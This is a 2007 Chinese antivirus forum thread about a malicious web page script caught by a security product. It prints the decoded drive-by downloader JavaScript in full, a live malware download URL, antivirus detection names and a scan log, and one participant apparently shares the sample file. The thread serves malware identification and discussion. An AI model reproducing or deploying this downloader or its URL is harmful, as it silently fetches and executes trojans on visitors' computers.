JS一个 MD5: 856949

红心王子

刚才浏览网页时候，费尔报的

发现费尔警觉度比卡巴还要快

[ 本帖最后由 红心王子 于 2007-6-23 12:20 编辑 ]

欠妳緈諨

脚本不报也无所谓吧

wangjay1980

主要是报它儿子，这个加密了

dikex

1. function gn(n) { var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe'; }
   
2. try { var mm1="http:";mm2="//";
   
3. mm3="boolom.com/alexa.exe";dl=mm1+mm2+mm3; a1="object";a2="classid";
   
4. a3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";a4="Adodb.Stream"; fuck="Scripting.FileSystemObject";
   
5. df=(window["document"]["createElement"](a1)); df["setAttribute"](a2,a3);
   
6. var x=df["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df["CreateObject"](a4,""); S["type"]=1;
   
7. x["Open"]("GET", dl,0); x["Send"](); fname1=gn(10000); var F=df["CreateObject"](fuck,"");
   
8. var tmp=F["GetSpecialFolder"](0); fname1= F["BuildPath"](tmp,fname1); S["open"]();
   
9. S["Write"](x.responseBody); S["SaveToFile"](fname1,2); S["Close"]();
   
10. var Q=df["CreateObject"]("Shell.Application",""); exp1=F["BuildPath"](tmp+'\\system32','cmd.exe');
    
11. Q["ShellExecute"](exp1,' /c '+fname1,"",open,0); } catch(i) { i=1; }

复制代码

http://boolom.com/alexa.exe

wangjay1980

detected: Trojan program Trojan-Downloader.Win32.Delf.bko        URL: http://boolom.com/alexa.exe

mofunzone

文件下载不下来，谁发上来？

wangjay1980

给

allenhippo

decode就是加密的意思吧

seamonkey

RISING 杀:

promised

?         Copyright (c) 1993-2007 by VBA Ltd.           ?
酝屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
License expired
License #000000119 Valid till 2006-12-31
Demo mode
Command line options:
/r=susp.rpt /ha=3 /collect_suspects /nc /af+ /ar+ /bt- /mr- /ml+ /rw+ /as-
Ctrl-C will terminate program execution

*:
C:\
C:\ABC\alexa.zip:<ZIP>\alexa.exe : infected MalwareScope.Trojan-PSW.Game.14
Program execution terminated by user


Directories       : 3       Files in archives:      Files on disks:
Archives:                   - total       : 2       - total       : 16
- scanned         : 2       -  scanned    : 2       - scanned     : 16
- contain viruses : 1       -  infected   : 1       - infected    : 1
- deleted         : 0       -  suspicious : 0       - suspicious  : 0

Startup    : 13:02:03 23-06-2007
End        : 13:02:05 23-06-2007
Total time : 00:00:02
终止批处理操作吗(Y/N)?